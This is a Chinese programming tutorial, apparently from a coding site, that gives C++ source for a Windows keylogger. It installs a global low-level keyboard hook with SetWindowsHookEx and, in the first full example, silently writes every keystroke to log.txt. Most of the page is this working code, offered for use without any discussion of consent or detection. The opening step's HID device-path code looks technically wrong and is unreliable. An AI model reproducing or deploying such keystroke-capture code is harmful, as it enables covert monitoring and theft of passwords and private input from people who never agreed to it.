C++键盘记录程序代码

C++键盘记录程序代码攻略

简介

键盘记录程序可以记录用户在键盘上输入的所有内容,包括敲击的键和输入的文字。在开发键盘记录程序时,我们需要了解底层的键盘输入原理和如何获取键盘输入事件。在本文中,我们将演示如何使用C++语言编写一个简单的键盘记录程序。

实现步骤

步骤1:打开键盘输入设备

在Windows操作系统中,键盘输入设备通常被称为“HID(Human Interface Device)”,我们可以通过调用Windows API中的CreateFile函数来打开与HID设备对应的文件。具体步骤如下:

HANDLE keyboard = CreateFile(L"\\\\.\\HID1", GENERIC_READ | GENERIC_WRITE,
     0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);

在上述代码中,我们创建了一个名为keyboard的文件句柄,用来打开已连接到计算机上的第一个HID设备。如果计算机上有多个HID设备,则可以使用\\\\.\\HID2\\\\.\\HID3等方式来逐个打开。

步骤2:获取键盘输入事件

接下来,我们需要获取键盘输入事件。在Windows操作系统中,键盘输入事件被处理为消息(Message)。我们可以使用GetMessage函数从Windows消息队列中获取消息。具体代码如下:

MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
}

在上述代码中,我们创建了一个名为msg的结构体,用于保存从消息队列中获取的消息。使用GetMessage函数循环等待键盘消息,当有消息到来时,我们使用TranslateMessage函数将该消息翻译为字符消息,并使用DispatchMessage函数将该消息发送到消息处理函数中进行处理。

步骤3:处理键盘输入事件

最后一步是对获取的键盘输入事件进行处理。Windows操作系统将键盘输入事件转换为按键消息和字符消息,我们可以通过消息处理函数来捕获这些消息。具体代码如下:

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
   PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
   if (nCode == HC_ACTION) {
       switch (wParam) {
           case WM_KEYDOWN:
           case WM_SYSKEYDOWN:
               printf("Key down: %x\n", p->vkCode);
               break;
           case WM_KEYUP:
           case WM_SYSKEYUP:
               printf("Key up: %x\n", p->vkCode);
               break;
           default:
               break;
       }
   }
   return CallNextHookEx(NULL, nCode, wParam, lParam);
}

在上述代码中,我们创建了一个名为KeyboardProc的函数作为消息处理函数,该函数捕获了键盘输入事件并在控制台输出了按下和松开的按键的虚拟键码vkCode

示例代码

下面给出两个示例代码来演示如何使用C++语言实现键盘记录程序。

示例1:记录键盘输入到文件中

本例中,我们将通过键盘输入事件来记录用户输入信息,并将其写入到文件log.txt中。具体实现代码如下:

#include <Windows.h>
#include <iostream>
#include <fstream>

#pragma comment(lib, "user32.lib")

std::ofstream ofs;

LRESULT CALLBACK keyboardHook(int code, WPARAM wParam, LPARAM lParam) {
    if (code == HC_ACTION) {
        KBDLLHOOKSTRUCT* kbDllHookStruct = (KBDLLHOOKSTRUCT*)lParam;
        if (kbDllHookStruct->vkCode == VK_RETURN || kbDllHookStruct->vkCode == VK_BACK) {
            ofs << std::endl;
        }
        else {
            std::string outStr;
            char key = (char)MapVirtualKey(kbDllHookStruct->vkCode, 2);
            std::cout << key << std::flush;
            ofs << key << std::flush;
        }
    }
    return CallNextHookEx(NULL, code, wParam, lParam);
}

int main() {
    ofs.open("log.txt", std::ofstream::out | std::ofstream::trunc);
    HHOOK keyboard = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHook, NULL, 0);
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0));
    UnhookWindowsHookEx(keyboard);
    ofs.close();
}

在上述代码中,我们定义了一个名为keyboardHook的函数作为键盘消息处理函数,它会将获取到的键盘输入事件写入到文件log.txt中。文件句柄ofs定义在全局作用域中,用来实现对文件的写入操作。

示例2:键盘按键监控

本例中,我们将演示如何使用C++语言编写一个键盘按键监控程序。具体实现代码如下:

#include <Windows.h>
#include <iostream>
#include <fstream>

#pragma comment(lib, "user32.lib")

HHOOK keyboardHookHandle;

LRESULT CALLBACK keyboardHook(int code, WPARAM wParam, LPARAM lParam) {
    KBDLLHOOKSTRUCT* kbDllHookStruct = (KBDLLHOOKSTRUCT*)lParam;
    int vkey = kbDllHookStruct->vkCode;
    if (code == HC_ACTION) {
        if (wParam == WM_KEYDOWN) {
            std::cout << "press ";
            if (vkey == VK_RETURN) {
                std::cout << "ENTER";
            }
            else {
                BYTE state[256];
                GetKeyboardState(state);
                char ret[256];
                if (ToAscii(vkey, kbDllHookStruct->scanCode, state, (LPWORD)ret, 0) > 0) {
                    std::cout << ret;
                }
            }
            std::cout << std::endl;
        }
        else if (wParam == WM_KEYUP) {
            std::cout << "release ";
            if (vkey == VK_RETURN) {
                std::cout << "ENTER";
            }
            else {
                BYTE state[256];
                GetKeyboardState(state);
                char ret[256];
                if (ToAscii(vkey, kbDllHookStruct->scanCode, state, (LPWORD)ret, 0) > 0) {
                    std::cout << ret;
                }
            }
            std::cout << std::endl;
        }
    }
    return CallNextHookEx(keyboardHookHandle, code, wParam, lParam);
}

int main() {
    keyboardHookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHook, GetModuleHandle(NULL), 0);
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0));
    UnhookWindowsHookEx(keyboardHookHandle);
    return 0;
}

在上述代码中,我们定义了一个名为keyboardHook的函数作为键盘消息处理函数,它可以监控键盘输入事件、按键按下和松开的动作,并将这些信息输出到控制台。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:C++键盘记录程序代码 - Python技术站

(0)
上一篇 2023年5月23日
下一篇 2023年5月23日

相关文章

  • Lua中的一些常用函数库实例讲解

    我来为你讲解“Lua中的一些常用函数库实例讲解”的完整攻略。 Lua中的一些常用函数库实例讲解 1. string库 string库是Lua中的一个基本库,提供了一系列的字符串操作函数。下面分别介绍几个常用的函数: 1.1 string.sub(string, i [, j]) 该函数用于返回从字符串string的第i个字符开始到第j个字符结束的子串。如果j…

    C 2023年5月22日
    00
  • C++实现大数相乘算法

    C++ 实现大数相乘算法 当我们需要计算两个超出计算机整数范围的大数相乘时,传统的计算方法已经无法满足需求,因此需要寻找一种适合大数相乘的算法。本文将介绍一种针对大数相乘的算法 – Karatsuba乘法,并使用C++语言进行实现。 Karatsuba 乘法的原理 Karatsuba 乘法的基本思想是将两个大数a和b分别划分为高位和低位,进而利用递归的方法将…

    C 2023年5月22日
    00
  • c语言10个经典小程序

    下面是对“C语言10个经典小程序”的详细讲解,主要包括以下内容: 概述 经典小程序列表 完整攻略 示例说明 1. 概述 “C语言10个经典小程序”是一个非常有名的程序集,它包含了许多经典的C语言小程序。这些小程序都具有简单、实用、易于理解等特点,非常适合初学者学习和实践。 2. 经典小程序列表 计算n个整数的平均值 求解一元二次方程的根 按照ASCII码顺序…

    C 2023年5月24日
    00
  • C 程序 查找字符串的长度

    标题 本文将详细讲解如何使用 C 程序查找字符串的长度。 简介 在 C 语言中,字符串通常被定义为一个字符指针,即指向第一个字符的指针。C 语言提供了一种简单的方法来查找一个字符串的长度,即通过一个循环来遍历字符串,直到遇到字符串结束符 ‘\0’。本文将详细介绍这个过程,并提供两个示例来说明如何使用它。 查找字符串长度的代码 下面是查找字符串长度的代码示例:…

    C 2023年5月9日
    00
  • 打印圣诞树

    打印圣诞树 今天遇到一个不算特别变态的题目,可是却往错误的方向思考了有一会儿。 这是这个题目的链接:[打印圣诞树](圣诞树_牛客题霸_牛客网 (nowcoder.com)) 题目大致意思是,给定一个高度,打印出圣诞树。 效果图类似以下这种: 错误示范 首先我把每片叶子看作是5X3的矩形,空白看作是3X3的矩形。 最上面为第1层,最下面为第n层。 第i层前面有…

    C语言 2023年4月17日
    00
  • 笔记本开机进不去系统 错误代码0xc000000f的解决办法

    笔记本开机进不去系统 错误代码0xc000000f的解决办法 引言 当笔记本电脑启动后无法进入操作系统时,它会显示一个蓝屏幕并提示错误代码0xc000000f。这种情况可能会让人感到困惑和不安,但好消息是,许多人已经找到了一些解决办法,可以帮助你快速修复这个问题。 在本篇攻略中,我们将详细解释什么是错误代码0xc000000f和可能引起此错误的原因。同时,我…

    C 2023年5月23日
    00
  • C语言越过数组边界访问内存

    C语言越过数组边界访问内存的完整使用攻略 什么是数组边界 在C语言中,数组边界指的是数组首地址和尾地址。在定义数组时,由于数组要占用一段连续的内存空间,因此数组的边界是被固定的,一旦定义了数组的大小,就不能超出数组边界访问内存。如果超出了数组边界访问内存,会造成内存泄漏、程序崩溃、信息安全漏洞等问题。 代码示例 下面是两个示例说明: 示例1 #include…

    C 2023年5月9日
    00
  • C语言中栈的两种实现方法详解

    C语言中栈的两种实现方法详解 栈,即先进后出(LIFO)的数据结构。在C语言中,栈是一个重要的概念,可以用于实现各种算法和数据结构。 本文主要介绍C语言中栈的两种实现方法。 方法一:基于数组实现栈 基于数组实现栈是一种简单的方法。我们可以定义一个数组作为栈的存储空间,并且定义栈顶指针(top)来指示栈顶元素的位置。 下面是一个简单的示例代码: #includ…

    C 2023年5月23日
    00
合作推广
合作推广
分享本页
返回顶部